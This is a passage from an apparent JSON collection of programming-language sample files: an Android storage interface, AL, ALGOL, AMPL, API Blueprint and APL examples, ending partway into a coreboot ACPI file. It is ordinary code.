void encryptFstab(@utf8InCpp String blkDevice, @utf8InCpp String mountPoint, boolean shouldFormat, @utf8InCpp String fsType);\n\n    void setStorageBindingSeed(in byte[] seed);\n\n    void createUserKey(int userId, int userSerial, boolean ephemeral);\n    void destroyUserKey(int userId);\n\n    void addUserKeyAuth(int userId, int userSerial, @utf8InCpp String token,\n                        @utf8InCpp String secret);\n    void clearUserKeyAuth(int userId, int userSerial, @utf8InCpp String token,\n                        @utf8InCpp String secret);\n    void fixateNewestUserKeyAuth(int userId);\n\n    int[] getUnlockedUsers();\n    void unlockUserKey(int userId, int userSerial, @utf8InCpp String token,\n                       @utf8InCpp String secret);\n    void lockUserKey(int userId);\n\n    void prepareUserStorage(@nullable @utf8InCpp String uuid, int userId, int userSerial,\n                            int storageFlags);\n    void destroyUserStorage(@nullable @utf8InCpp String uuid, int userId, int storageFlags);\n\n    void prepareSandboxForApp(in @utf8InCpp String packageName, int appId,\n                              in @utf8InCpp String sandboxId, int userId);\n    void destroySandboxForApp(in @utf8InCpp String packageName,\n                              in @utf8InCpp String sandboxId, int userId);\n\n    void startCheckpoint(int retry);\n    boolean needsCheckpoint();\n    boolean needsRollback();\n    boolean isCheckpointing();\n    void abortChanges(in @utf8InCpp String device, boolean retry);\n    void commitChanges();\n    void prepareCheckpoint();\n    void restoreCheckpoint(@utf8InCpp String device);\n    void restoreCheckpointPart(@utf8InCpp String device, int count);\n    void markBootAttempt();\n    boolean supportsCheckpoint();\n    boolean supportsBlockCheckpoint();\n    boolean supportsFileCheckpoint();\n    void resetCheckpoint();\n\n    void earlyBootEnded();\n    @utf8InCpp String createStubVolume(@utf8InCpp String sourcePath,\n            @utf8InCpp String mountPath, @utf8InCpp String fsType,\n            @utf8InCpp String fsUuid, @utf8InCpp String fsLabel, int flags);\n    void destroyStubVolume(@utf8InCpp String volId);\n\n    FileDescriptor openAppFuseFile(int uid, int mountId, int fileId, int flags);\n\n    boolean incFsEnabled();\n    IncrementalFileSystemControlParcel mountIncFs(@utf8InCpp String backingPath, @utf8InCpp String targetDir, int flags);\n    void unmountIncFs(@utf8InCpp String dir);\n    void setIncFsMountOptions(in IncrementalFileSystemControlParcel control, boolean enableReadLogs);\n    void bindMount(@utf8InCpp String sourceDir, @utf8InCpp String targetDir);\n\n    void destroyDsuMetadataKey(@utf8InCpp String dsuSlot);\n\n    const int ENCRYPTION_FLAG_NO_UI = 4;\n\n    const int ENCRYPTION_STATE_NONE = 1;\n    const int ENCRYPTION_STATE_OK = 0;\n    const int ENCRYPTION_STATE_ERROR_UNKNOWN = -1;\n    const int ENCRYPTION_STATE_ERROR_INCOMPLETE = -2;\n    const int ENCRYPTION_STATE_ERROR_INCONSISTENT = -3;\n    const int ENCRYPTION_STATE_ERROR_CORRUPT = -4;\n\n    const int FSTRIM_FLAG_DEEP_TRIM = 1;\n\n    const int MOUNT_FLAG_PRIMARY = 1;\n    const int MOUNT_FLAG_VISIBLE = 2;\n\n    const int PARTITION_TYPE_PUBLIC = 0;\n    const int PARTITION_TYPE_PRIVATE = 1;\n    const int PARTITION_TYPE_MIXED = 2;\n\n    const int PASSWORD_TYPE_PASSWORD = 0;\n    const int PASSWORD_TYPE_DEFAULT = 1;\n    const int PASSWORD_TYPE_PATTERN = 2;\n    const int PASSWORD_TYPE_PIN = 3;\n\n    const int STORAGE_FLAG_DE = 1;\n    const int STORAGE_FLAG_CE = 2;\n\n    const int REMOUNT_MODE_NONE = 0;\n    const int REMOUNT_MODE_DEFAULT = 1;\n    const int REMOUNT_MODE_INSTALLER = 2;\n    const int REMOUNT_MODE_PASS_THROUGH = 3;\n    const int REMOUNT_MODE_ANDROID_WRITABLE = 4;\n\n    const int VOLUME_STATE_UNMOUNTED = 0;\n    const int VOLUME_STATE_CHECKING = 1;\n    const int VOLUME_STATE_MOUNTED = 2;\n    const int VOLUME_STATE_MOUNTED_READ_ONLY = 3;\n    const int VOLUME_STATE_FORMATTING = 4;\n    const int VOLUME_STATE_EJECTING = 5;\n    const int VOLUME_STATE_UNMOUNTABLE = 6;\n    const int VOLUME_STATE_REMOVED = 7;\n    const int VOLUME_STATE_BAD_REMOVAL = 8;\n\n    const int VOLUME_TYPE_PUBLIC = 0;\n    const int VOLUME_TYPE_PRIVATE = 1;\n    const int VOLUME_TYPE_EMULATED = 2;\n    const int VOLUME_TYPE_ASEC = 3;\n    const int VOLUME_TYPE_OBB = 4;\n    const int VOLUME_TYPE_STUB = 5;\n}\n"
  },
  {
    "path": "samples/AL/ALIssue.al",
    "content": "table 70990099 ALIssue\n{\n\t//Sample code from Arend-Jan Kauffmann's AL Samples repo:  https://github.com/ajkauffmann/ALCodeSamples\n    fields\n    {\n        field(1;id;Integer)\n        {\n            CaptionML=ENU='ID';\n        }\n        field(2;number;Integer)\n        {\n            CaptionML=ENU='Number';\n        }\n        field(3;title;text[250])\n        {\n            CaptionML=ENU='Title';\n        }\n        field(5;created_at;DateTime)\n        {\n            CaptionML=ENU='Created at';\n        }\n        field(6;user;text[50])\n        {\n            CaptionML=ENU='User';\n        }\n        field(7;state;text[30])\n        {\n            CaptionML=ENU='State';\n        }\n        field(8;html_url;text[250])\n        {\n            CaptionML=ENU='URL';\n        }\n    }\n\n    keys\n    {\n        key(PK;id)\n        {\n            Clustered = true;\n        }\n    }\n\n    procedure RefreshIssues();\n    var\n        RefreshALIssues :Codeunit RefreshALIssueCode;\n    begin\n        RefreshALIssues.Refresh();\n    end;\n\n}"
  },
  {
    "path": "samples/AL/ALIssueList.al",
    "content": "page 70990099 ALIssueList\n{\n\t//Sample code from Arend-Jan Kauffmann's AL Samples repo:  https://github.com/ajkauffmann/ALCodeSamples\t\n\t\n    PageType = List;\n    SourceTable = ALIssue;\n    CaptionML=ENU='AL Issues';\n    Editable = false;\n    SourceTableView=order(descending);\n\n    layout\n    {\n        area(content)\n        {\n            repeater(General)\n            {\n                field(Number;number) {}\n                field(Title;title) {}\n                field(CreatedAt;created_at) {}\n                field(User;user) {}\n                field(State;state) {}\n                field(URL;html_url) \n                {\n                    ExtendedDatatype=URL;\n                }\n            }\n        }\n    }\n\n    actions\n    {\n        area(processing)\n        {\n            action(RefreshALIssueList)\n            {\n                CaptionML=ENU='Refresh Issues';\n                Promoted=true;\n                PromotedCategory=Process;\n                Image=RefreshLines;\n                trigger OnAction();\n                begin\n                    RefreshIssues();\n                    CurrPage.Update;\n                    if FindFirst then;\n                end;\n            }\n        }\n    }\n\n    trigger OnOpenPage();\n    begin\n        //RefreshIssues();\n        //if FindFirst then;\n    end;\n}"
  },
  {
    "path": "samples/AL/RefreshALIssuesCode.al",
    "content": "codeunit 70990099 RefreshALIssueCode\n{\n\t//Sample code from Arend-Jan Kauffmann's AL Samples repo:  https://github.com/ajkauffmann/ALCodeSamples\n\t\n    procedure Refresh();\n    var\n        ALIssue : Record ALIssue;\n        HttpClient : HttpClient;\n        ResponseMessage : HttpResponseMessage;\n        JsonToken : JsonToken;\n        JsonValue : JsonValue;\n        JsonObject : JsonObject;\n        JsonArray : JsonArray;\n        JsonText : text;\n        i : Integer;\n    begin\n        ALIssue.DeleteAll;\n\n        // Simple web service call\n        HttpClient.DefaultRequestHeaders.Add('User-Agent','Dynamics 365');\n        if not HttpClient.Get('https://api.github.com/repos/Microsoft/AL/issues',\n                              ResponseMessage)\n        then\n            Error('The call to the web service failed.');\n\n        if not ResponseMessage.IsSuccessStatusCode then\n            error('The web service returned an error message:\\\\' +\n                  'Status code: %1\\' +\n                  'Description: %2',\n                  ResponseMessage.HttpStatusCode,\n                  ResponseMessage.ReasonPhrase);\n        \n        ResponseMessage.Content.ReadAs(JsonText);\n        \n        // Process JSON response\n        if not JsonArray.ReadFrom(JsonText) then\n            Error('Invalid response, expected an JSON array as root object');\n        \n        for i := 0 to JsonArray.Count - 1 do begin\n            JsonArray.Get(i,JsonToken);\n            JsonObject := JsonToken.AsObject;\n\n            ALIssue.init;\n            if not JsonObject.Get('id',JsonToken) then\n                error('Could not find a token with key %1');\n            \n            ALIssue.id := JsonToken.AsValue.AsInteger;\n\n            ALIssue.number := GetJsonToken(JsonObject,'number').AsValue.AsInteger;\n            ALIssue.title := GetJsonToken(JsonObject,'title').AsValue.AsText;\n            //ALIssue.created_at := GetJsonToken(JsonObject,'created_at').AsValue.AsDateTime;\n            ALIssue.user := SelectJsonToken(JsonObject,'$.user.login').AsValue.AsText;\n            ALIssue.state := GetJsonToken(JsonObject,'state').AsValue.AsText;\n            ALIssue.html_url := GetJsonToken(JsonObject,'html_url').AsValue.AsText;\n            ALIssue.Insert;\n        end;\n    end;\n\n    procedure GetJsonToken(JsonObject:JsonObject;TokenKey:text)JsonToken:JsonToken;\n    begin\n        if not JsonObject.Get(TokenKey,JsonToken) then\n            Error('Could not find a token with key %1',TokenKey);\n    end;\n    procedure SelectJsonToken(JsonObject:JsonObject;Path:text)JsonToken:JsonToken;\n    begin\n        if not JsonObject.SelectToken(Path,JsonToken) then\n            Error('Could not find a token with path %1',Path);\n    end;\n\n}"
  },
  {
    "path": "samples/ALGOL/example15.alg",
    "content": "begin\n   integer i;\n   procedure do_it (n, L); value n; integer n; label L;\n   begin\n      integer array A [1 : n];\n      integer i;\n      for i := 1 step 1 until n do A [i] := i * i;\n      if n < 10 then goto L else do_it (n - 1, L);\n   end;\n   outstring (1, \"Example 5: arrays with non constant bounds\\n\");\n   for i := 1 step 1 until 2000 do\n   begin\n      do_it (2000, L_end);\n   L_end:;\n   end;\nend;\n\n\n"
  },
  {
    "path": "samples/AMPL/CT2.mod",
    "content": "param num_beams;                  # number of beams\n\nparam num_rows >= 1, integer;     # number of rows\nparam num_cols >= 1, integer;     # number of columns \n\nset BEAMS   := 1 .. num_beams;    # set of beams\n\nset ROWS    := 1 .. num_rows;\t  # set of rows\nset COLUMNS := 1 .. num_cols;\t  # set of columns\n\n# values for entries of each beam\nparam beam_values {BEAMS, ROWS, COLUMNS} >= 0; \n\n# values of tumor\nparam tumor_values {ROWS, COLUMNS} >= 0; \n\n# values of critical area\nparam critical_values {ROWS, COLUMNS} >= 0; \n\n# critical maximum dosage requirement\nparam critical_max;\n\n# tumor minimum dosage requirement\nparam tumor_min;\n\n# dosage scalar of each beam\nvar X {i in BEAMS} >= 0;\n\n\n# define the tumor area which includes the locations where tumor exists\nset tumor_area := {k in ROWS, h in COLUMNS: tumor_values[k,h] > 0};\n\n# define critical area \nset critical_area := {k in ROWS, h in COLUMNS: critical_values[k,h] > 0};\n\nvar S {(k,h) in tumor_area} >= 0;\nvar T {(k,h) in critical_area} >= 0;\n\n# maximize total dosage in tumor area\nmaximize total_tumor_dosage: sum {i in BEAMS} sum {(k,h) in tumor_area} X[i] * beam_values[i,k,h];\n\n# minimize total dosage in critical area\nminimize total_critical_dosage: sum {i in BEAMS} sum {(k,h) in critical_area} X[i] * beam_values[i,k,h];\n\n# minimize total tumor slack\nminimize total_tumor_slack: sum {(k,h) in tumor_area} S[k,h];\n\n# minimize total critical area slack\nminimize total_critical_slack: sum {(k,h) in critical_area} T[k,h];\n\n# total dosage at each tumor location [k,h] should be >= min tumor dosage with slack variable\nsubject to tumor_limit {(k,h) in tumor_area} : sum {i in BEAMS} X[i] * beam_values[i,k,h] == tumor_min - S[k,h];\n\n# total dosage at each critical location [k,h] should be = max critical dosage with slack variable\nsubject to critical_limit {(k,h) in critical_area} : sum {i in BEAMS} X[i] * beam_values[i,k,h] == critical_max + T[k,h];\n\n\n\n"
  },
  {
    "path": "samples/AMPL/toy.ampl",
    "content": "# A toy knapsack problem from the LocalSolver docs written in AMPL.\n\nset I;\nparam Value{I};\nparam Weight{I};\nparam KnapsackBound;\nvar Take{I} binary;\n\nmaximize TotalValue: sum{i in I} Take[i] * Value[i];\ns.t. WeightLimit: sum{i in I} Take[i] * Weight[i] <= KnapsackBound;\n\ndata;\n\nparam:\nI: Weight Value :=\n0    10     1\n1    60    10\n2    30    15\n3    40    40\n4    30    60\n5    20    90\n6    20   100\n7     2    15;\n\nparam KnapsackBound := 102;\n"
  },
  {
    "path": "samples/API Blueprint/actions.apib",
    "content": "FORMAT: 1A\n\n# Advanced Action API\nA resource action is – in fact – a state transition. This API example demonstrates an action - state transition - to another resource.\n\n## API Blueprint\n+ [Previous: Resource Model](11.%20Resource%20Model.md)\n+ [This: Raw API Blueprint](https://raw.github.com/apiaryio/api-blueprint/master/examples/11.%20Advanced%20Action.md)\n\n# Tasks [/tasks/tasks{?status,priority}]\n\n+ Parameters\n    + status (string)\n    + priority (number)\n\n## List All Tasks [GET]\n\n+ Response 200 (application/json)\n\n        [\n            {\n                \"id\": 123,\n                \"name\": \"Exercise in gym\",\n                \"done\": false,\n                \"type\": \"task\"\n            },\n            {\n                \"id\": 124,\n                \"name\": \"Shop for groceries\",\n                \"done\": true,\n                \"type\": \"task\"\n            }\n        ]\n\n## Retrieve Task [GET /task/{id}]\nThis is a state transition to another resource\n\n+ Parameters\n    + id (string)\n\n+ Response 200 (application/json)\n\n        {\n            \"id\": 123,\n            \"name\": \"Go to gym\",\n            \"done\": false,\n            \"type\": \"task\"\n        }\n\n## Delete Task [DELETE /task/{id}]\n\n+ Parameters\n    + id (string)\n\n+ Response 204\n"
  },
  {
    "path": "samples/API Blueprint/attributes.apib",
    "content": "FORMAT: 1A\n\n# Attributes API\nThis API example demonstrates how to describe body attributes of a request or response message.\n\nIn this case, the description is complementary (and duplicate!) to the provided JSON example in the body section. The [Advanced Attributes](09.%20Advanced%20Attributes.md) API example will demonstrate how to avoid duplicates and how to reuse attributes descriptions.\n\n## API Blueprint\n+ [Previous: Parameters](07.%20Parameters.md)\n+ [This: Raw API Blueprint](https://raw.github.com/apiaryio/api-blueprint/master/examples/08.%20Attributes.md)\n+ [Next: Advanced Attributes](09.%20Advanced%20Attributes.md)\n\n# Group Coupons\n\n## Coupon [/coupons/{id}]\nA coupon contains information about a percent-off or amount-off discount you might want to apply to a customer.\n\n### Retrieve a Coupon [GET]\nRetrieves the coupon with the given ID.\n\n+ Response 200 (application/json)\n\n    + Attributes (object)\n        + id: 250FF (string)\n        + created: 1415203908 (number) - Time stamp\n        + percent_off: 25 (number)\n\n            A positive integer between 1 and 100 that represents the discount the coupon will apply.\n\n        + redeem_by (number) - Date after which the coupon can no longer be redeemed\n\n    + Body\n\n            {\n                \"id\": \"250FF\",\n                \"created\": 1415203908,\n                \"percent_off\": 25,\n                \"redeem_by:\" null\n            }\n"
  },
  {
    "path": "samples/API Blueprint/simple.apib",
    "content": "FORMAT: 1A\n\n# The Simplest API\nThis is one of the simplest APIs written in the **API Blueprint**.\nOne plain resource combined with a method and that's it! We will explain what is going on in the next installment - [Resource and Actions](02.%20Resource%20and%20Actions.md).\n\n**Note:** As we progress through the examples, do not also forget to view the [Raw](https://raw.github.com/apiaryio/api-blueprint/master/examples/01.%20Simplest%20API.md) code to see what is really going on in the API Blueprint, as opposed to just seeing the output of the Github Markdown parser.\n\nAlso please keep in mind that every single example in this course is a **real API Blueprint** and as such you can **parse** it with the [API Blueprint parser](https://github.com/apiaryio/drafter) or one of its [bindings](https://github.com/apiaryio/drafter#bindings).\n\n## API Blueprint\n+ [This: Raw API Blueprint](https://raw.github.com/apiaryio/api-blueprint/master/examples/01.%20Simplest%20API.md)\n+ [Next: Resource and Actions](02.%20Resource%20and%20Actions.md)\n\n# GET /message\n+ Response 200 (text/plain)\n\n        Hello World!\n"
  },
  {
    "path": "samples/APL/DeepakChopra.apl",
    "content": "⍝   You can try this at http://tryapl.org/\n⍝   I can not explain how much I suddenly love this crypto-language\n\n\n\nStarts     ← 'Experiential truth ' 'The physical world ' 'Non-judgment '       'Quantum physics '\nMiddles    ← 'nurtures an '        'projects onto '      'imparts reality to ' 'constructs with '\nQualifiers ← 'abundance of '       'the barrier of '     'self-righteous '     'potential '\nFinishes   ← 'marvel.'             'choices.'            'creativity.'         'actions.'\n\nrf     ← {(?⍴⍵)⊃⍵}\nerf    ← {rf ¨ ⍵}\n\ndeepak ← {erf Starts Middles Qualifiers Finishes}\n\n\n\ndeepak ⍬"
  },
  {
    "path": "samples/APL/UT.dyalog",
    "content": "﻿:NameSpace UT\n\n    sac ← 0\n    expect_orig ← expect ← ⎕NS⍬\n    exception ← ⍬\n    nexpect_orig ← nexpect ← ⎕NS⍬\n\n    ∇ {Z}←{Conf}run Argument;PRE_test;POST_test;TEST_step;COVER_step;FromSpace\n     \n      load_display_if_not_already_loaded\n      load_salt_scripts_into_current_namespace_if_configured\n     \n      FromSpace←1⊃⎕RSI\n     \n      PRE_test←{}\n      POST_test←{}\n      COVER_step←{}\n      :If 0≠⎕NC'Conf'\n          :If Conf has'cover_target'\n              PRE_test←{{}⎕PROFILE'start'}\n              POST_test←{{}⎕PROFILE'stop'}\n          :EndIf\n      :EndIf\n     \n      :If is_function Argument\n          TEST_step←single_function_test_function\n          COVER_file←Argument,'_coverage.html'\n     \n      :ElseIf is_list_of_functions Argument\n          TEST_step←list_of_functions_test_function\n          COVER_file←'list_coverage.html'\n     \n      :ElseIf is_file Argument\n          TEST_step←file_test_function\n          COVER_file←(get_file_name Argument),'_coverage.html'\n     \n      :ElseIf is_dir Argument\n          test_files←test_files_in_dir Argument\n          TEST_step←test_dir_function\n          Argument←test_files\n      :EndIf\n     \n      :If 0≠⎕NC'Conf'\n          :If Conf has'cover_target'\n              COVER_step←{Conf,←⊂('cover_file'COVER_file)\n                  generate_coverage_page Conf}\n          :EndIf\n      :EndIf\n     \n      PRE_test ⍬\n      Z←FromSpace TEST_step Argument\n      POST_test ⍬\n      COVER_step ⍬\n    ∇\n\n    ∇ load_display_if_not_already_loaded\n      :If 0=⎕NC'#.DISPLAY'\n          'DISPLAY'#.⎕CY'display'\n      :EndIf\n    ∇\n\n    ∇ load_salt_scripts_into_current_namespace_if_configured\n      :If 0≠⎕NC'#.UT.appdir'\n          :If ⍬≢#.UT.appdir\n              ⎕SE.SALT.Load #.UT.appdir,'src/*.dyalog -target=#'\n              ⎕SE.SALT.Load #.UT.appdir,'test/*.dyalog -target=#'\n          :EndIf\n      :EndIf\n    ∇\n\n    ∇ Z←FromSpace single_function_test_function TestName\n      Z←run_ut FromSpace TestName\n    ∇\n\n    ∇ Z←FromSpace list_of_functions_test_function ListOfNames;t\n      t←⎕TS\n      Z←run_ut¨{FromSpace ⍵}¨ListOfNames\n      t←⎕TS-t\n      ('Test execution report')print_passed_crashed_failed Z t\n    ∇\n\n    ∇ Z←FromSpace file_test_function FilePath;FileNS;Functions;TestFunctions;t\n      FileNS←⎕SE.SALT.Load FilePath,' -target=#'\n      Functions←↓FileNS.⎕NL 3\n      TestFunctions←(is_test¨Functions)/Functions\n      :If (0/⍬,⊂0/'')≡TestFunctions\n          ⎕←'No test functions found'\n          Z←⍬\n      :Else\n          t←⎕TS\n          Z←run_ut¨{FileNS ⍵}¨TestFunctions\n          t←⎕TS-t\n          (FilePath,' tests')print_passed_crashed_failed Z t\n      :EndIf\n    ∇\n\n    ∇ Z←FromSpace test_dir_function Test_files\n      :If Test_files≡⍬/⍬,⊂''\n          ⎕←'No test files found'\n          Z←⍬\n      :Else\n          Z←#.UT.run¨Test_files\n      :EndIf\n    ∇\n\n    ∇ Z←get_file_name Argument;separator\n      separator←⊃⌽(Argument∊'/\\')/⍳⍴Argument\n      Z←¯7↓separator↓Argument\n    ∇\n\n    ∇ generate_coverage_page Conf;ProfileData;CoverResults;HTML\n      ProfileData←⎕PROFILE'data'\n      ToCover←retrieve_coverables¨(⊃'cover_target'in Conf)\n      :If (⍴ToCover)≡(⍴⊂1)\n          ToCover←⊃ToCover\n      :EndIf\n      Representations←get_representation¨ToCover\n      CoverResults←ProfileData∘generate_cover_result¨↓ToCover,[1.5]Representations\n      HTML←generate_html CoverResults\n      Conf write_html_to_page HTML\n      ⎕PROFILE'clear'\n    ∇\n\n    ∇ Z←retrieve_coverables Something;nc;functions\n      nc←⎕NC Something\n      :If nc=3\n          Z←Something\n      :ElseIf nc=9\n          functions←strip¨↓⍎Something,'.⎕NL 3'\n          Z←{(Something,'.',⍵)}¨functions\n      :EndIf\n    ∇\n\n    ∇ Z←strip input\n      Z←(input≠' ')/input\n    ∇\n\n    ∇ Z←get_representation Function;nc;rep\n      nc←⎕NC⊂Function\n      :If nc=3.1\n          rep←↓⎕CR Function\n          rep[1]←⊂'∇',⊃rep[1]\n          rep,←⊂'∇'\n          rep←↑rep\n      :Else\n          rep←⎕CR Function\n      :EndIf\n      Z←rep\n    ∇\n\n    ∇ Z←ProfileData generate_cover_result(name representation);Indices;lines;functionlines;covered_lines\n      Indices←({name≡⍵}¨ProfileData[;1])/⍳⍴ProfileData[;1]\n      lines←ProfileData[Indices;2]\n      nc←⎕NC⊂name\n      :If 3.1=nc\n          functionlines←¯2+⍴↓representation\n      :Else\n          functionlines←⊃⍴↓representation\n      :EndIf\n      covered_lines←(⍬∘≢¨lines)/lines\n      Z←(nc lines functionlines covered_lines representation)\n    ∇\n\n    ∇ Z←generate_html CoverResults;Covered;Total;Percentage;CoverageText;ColorizedCode;Timestamp;Page\n      Covered←⊃⊃+/{⍴4⊃⍵}¨CoverResults\n      Total←⊃⊃+/{3⊃⍵}¨CoverResults\n      Percentage←100×Covered÷Total\n      CoverageText←'Coverage: ',Percentage,'% (',Covered,'/',Total,')'\n      ColorizedCode←⊃,/{colorize_code_by_coverage ⍵}¨CoverResults\n      Timestamp←generate_timestamp_text\n      Page←⍬\n      Page,←⊂⍬,'<html>'\n      Page,←⊂⍬,'<meta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\"/>'\n      Page,←⊂⍬,'<style>pre cov {line-height:80%;}'\n      Page,←⊂⍬,'pre cov {color: green;}'\n      Page,←⊂⍬,'pre uncov {line-height:80%;}'\n      Page,←⊂⍬,'pre uncov {color:red;}</style>'\n      Page,←⊂⍬,CoverageText\n      Page,←⊂⍬,'<pre>'\n      Page,←ColorizedCode\n      Page,←⊂⍬,'</pre>'\n      Page,←Timestamp\n      Page,←⊂⍬,'</html>'\n      Z←Page\n    ∇\n\n    ∇ Z←colorize_code_by_coverage CoverResult;Colors;Ends;Code\n      :If 3.1=⊃CoverResult\n          Colors←(2+3⊃CoverResult)⍴⊂'<uncov>'\n          Colors[1]←⊂''\n          Colors[⍴Colors]←⊂''\n          Ends←(2+3⊃CoverResult)⍴⊂'</uncov>'\n          Ends[1]←⊂''\n          Ends[⍴Ends]←⊂''\n      :Else\n          Colors←(3⊃CoverResult)⍴⊂'<uncov>'\n          Ends←(3⊃CoverResult)⍴⊂'</uncov>'\n      :EndIf\n      Colors[1+4⊃CoverResult]←⊂'<cov>'\n      Ends[1+4⊃CoverResult]←⊂'</cov>'\n      Code←↓5⊃CoverResult\n      Z←Colors,[1.5]Code\n      Z←{⍺,(⎕UCS 13),⍵}/Z,Ends\n    ∇\n\n    ∇ Z←generate_timestamp_text;TS;YYMMDD;HHMMSS\n      TS←⎕TS\n      YYMMDD←⊃{⍺,'-',⍵}/3↑TS\n      HHMMSS←⊃{⍺,':',⍵}/3↑3↓TS\n      Z←'Page generated: ',YYMMDD,'|',HHMMSS\n    ∇\n\n    ∇ Conf write_html_to_page Page;tie;filename\n      filename←(⊃'cover_out'in Conf),(⊃'cover_file'in Conf)\n      :Trap 22\n          tie←filename ⎕NTIE 0\n          filename ⎕NERASE tie\n          filename ⎕NCREATE tie\n      :Else\n          tie←filename ⎕NCREATE 0\n      :EndTrap\n      Simple_array←⍕⊃,/Page\n      (⎕UCS'UTF-8'⎕UCS Simple_array)⎕NAPPEND tie\n    ∇\n\n    ∇ Z←is_function Argument\n      Z←'_TEST'≡¯5↑Argument\n    ∇\n\n    ∇ Z←is_list_of_functions Argument\n      Z←2=≡Argument\n    ∇\n\n    ∇ Z←is_file Argument\n      Z←'.dyalog'≡¯7↑Argument\n    ∇\n\n    ∇ Z←is_dir Argument;attr\n      :If 'Linux'≡5↑⊃'.'⎕WG'APLVersion'\n          Z←'yes'≡⊃⎕CMD'test -d ',Argument,' && echo yes || echo no'\n      :Else\n          'gfa'⎕NA'I kernel32|GetFileAttributes* <0t'\n          :If Z←¯1≠attr←gfa⊂Argument ⍝ If file exists\n              Z←⊃2 16⊤attr           ⍝ Return bit 4\n          :EndIf\n      :EndIf\n    ∇\n\n\n    ∇ Z←test_files_in_dir Argument\n      :If 'Linux'≡5↑⊃'.'⎕WG'APLVersion'\n          Z←⎕SH'find ',Argument,' -name \\*_tests.dyalog'\n      :Else\n          #.⎕CY'files'\n          Z←#.Files.Dir Argument,'\\*_tests.dyalog'\n          Z←(Argument,'\\')∘,¨Z\n      :EndIf\n    ∇\n\n    ∇ Z←run_ut ut_data;returned;crashed;pass;crash;fail;message\n      (returned crashed time)←execute_function ut_data\n      (pass crash fail)←determine_pass_crash_or_fail returned crashed\n      message←determine_message pass fail crashed(2⊃ut_data)returned time\n      print_message_to_screen message\n      Z←(pass crash fail)\n    ∇\n\n    ∇ Z←execute_function ut_data;function;t\n      reset_UT_globals\n      function←(⍕(⊃ut_data[1])),'.',⊃ut_data[2]\n      :Trap sac\n          :If 3.2≡⎕NC⊂function\n              t←⎕TS\n              Z←(⍎function,' ⍬')0\n              t←⎕TS-t\n          :Else\n              t←⎕TS\n              Z←(⍎function)0\n              t←⎕TS-t\n          :EndIf\n     \n      :Else\n          Z←(↑⎕DM)1\n          :If exception≢⍬\n              expect←exception\n              Z[2]←0\n              t←⎕TS-t\n          :EndIf\n      :EndTrap\n      Z,←⊂t\n    ∇\n\n    ∇ reset_UT_globals\n      expect_orig ← expect← ⎕NS⍬\n      exception←⍬\n      nexpect_orig ← nexpect← ⎕NS⍬\n    ∇\n\n    ∇ Z←is_test FunctionName;wsIndex\n      wsIndex←FunctionName⍳' '\n      FunctionName←(wsIndex-1)↑FunctionName\n      Z←'_TEST'≡¯5↑FunctionName\n    ∇\n\n    ∇ Heading print_passed_crashed_failed(ArrayRes time)\n      ⎕←'-----------------------------------------'\n      ⎕←Heading\n      ⎕←'    ⍋  Passed: ',+/{1⊃⍵}¨ArrayRes\n      ⎕←'    ⍟ Crashed: ',+/{2⊃⍵}¨ArrayRes\n      ⎕←'    ⍒  Failed: ',+/{3⊃⍵}¨ArrayRes\n      ⎕←'    ○ Runtime: ',time[5],'m',time[6],'s',time[7],'ms'\n    ∇\n    \n    determine_pass_crash_or_fail←{\n      r c←⍵ ⋄ 0≠c:0 1 0 ⋄ z←(0 0 1)(1 0 0)\n      expect_orig≢expect:(⎕IO+expect≡r)⊃z ⋄ (⎕IO+nexpect≢r)⊃z\n    }\n\n    ∇ Z←determine_message(pass fail crashed name returned time)\n      :If crashed\n          Z←'CRASHED: 'failure_message name returned\n      :ElseIf pass\n          Z←'Passed ',time[5],'m',time[6],'s',time[7],'ms'\n      :Else\n          Z←'FAILED: 'failure_message name returned\n      :EndIf\n    ∇\n\n    ∇ print_message_to_screen message\n      ⎕←message\n    ∇\n\n    ∇ Z←term_to_text Term;Text;Rows\n      Text←#.DISPLAY Term\n      Rows←1⊃⍴Text\n      Z←(Rows 4⍴''),Text\n    ∇\n\n    ∇ Z←Cause failure_message(name returned);hdr;exp;expterm;got;gotterm\n      hdr←Cause,name\n      exp←'Expected'\n      expterm←term_to_text #.UT.expect\n      got←'Got'\n      gotterm←term_to_text returned\n      Z←align_and_join_message_parts hdr exp expterm got gotterm\n    ∇\n\n    ∇ Z←align_and_join_message_parts Parts;hdr;exp;expterm;got;gotterm;R1;C1;R2;C2;W\n      (hdr exp expterm got gotterm)←Parts\n      (R1 C1)←⍴expterm\n      (R2 C2)←⍴gotterm\n      W←⊃⊃⌈/C1 C2(⍴hdr)(⍴exp)(⍴got)\n      Z←(W↑hdr),[0.5](W↑exp)\n      Z←Z⍪(R1 W↑expterm)\n      Z←Z⍪(W↑got)\n      Z←Z⍪(R2 W↑gotterm)\n    ∇\n\n    ∇ Z←confparam in config\n      Z←1↓⊃({confparam≡⊃⍵}¨config)/config\n    ∇\n\n    ∇ Z←config has confparam\n      Z←∨/{confparam≡⊃⍵}¨config\n    ∇\n\n:EndNameSpace\n"
  },
  {
    "path": "samples/APL/hashbang",
    "content": "#!/usr/local/bin/apl --script\nNEWLINE ← ⎕UCS 10\nHEADERS ← 'Content-Type: text/plain', NEWLINE\nHEADERS\n⍝ ⎕←HEADERS\n⍝ ⍕⎕TS\n)OFF\n"
  },
  {
    "path": "samples/ASL/example.asl",
    "content": "/*\n * This file is part of the coreboot project.\n *\n * Copyright (C) 2007-2009 coresystems GmbH\n *\n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License as\n * published by the Free Software Foundation; version 2 of\n * the License.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n */\n\n\nName(_HID,EISAID(\"PNP0A08\"))\t// PCIe\nName(_CID,EISAID(\"PNP0A03\"))\t// PCI\n\nName(_ADR, 0)\nName(_BBN, 0)\n\nDevice (MCHC)\n{\n\tName(_ADR, 0x00000000)\t// 0:0.0\n\n\tOperationRegion(MCHP, PCI_Config, 0x00, 0x100)\n\tField (MCHP, DWordAcc, NoLock, Preserve)\n\t{\n\t\tOffset (0x40),\t// EPBAR\n\t\tEPEN,\t 1,\t// Enable\n\t\t,\t11,\t//\n\t\tEPBR,\t24,\t// EPBAR\n\n\t\tOffset (0x48),\t// MCHBAR\n\t\tMHEN,\t 1,\t// Enable\n\t\t,\t13,\t//\n\t\tMHBR,\t22,\t// MCHBAR\n\n\t\tOffset (0x60),\t// PCIe BAR\n\t\tPXEN,\t 1,\t// Enable\n\t\tPXSZ,\t 2,\t// BAR 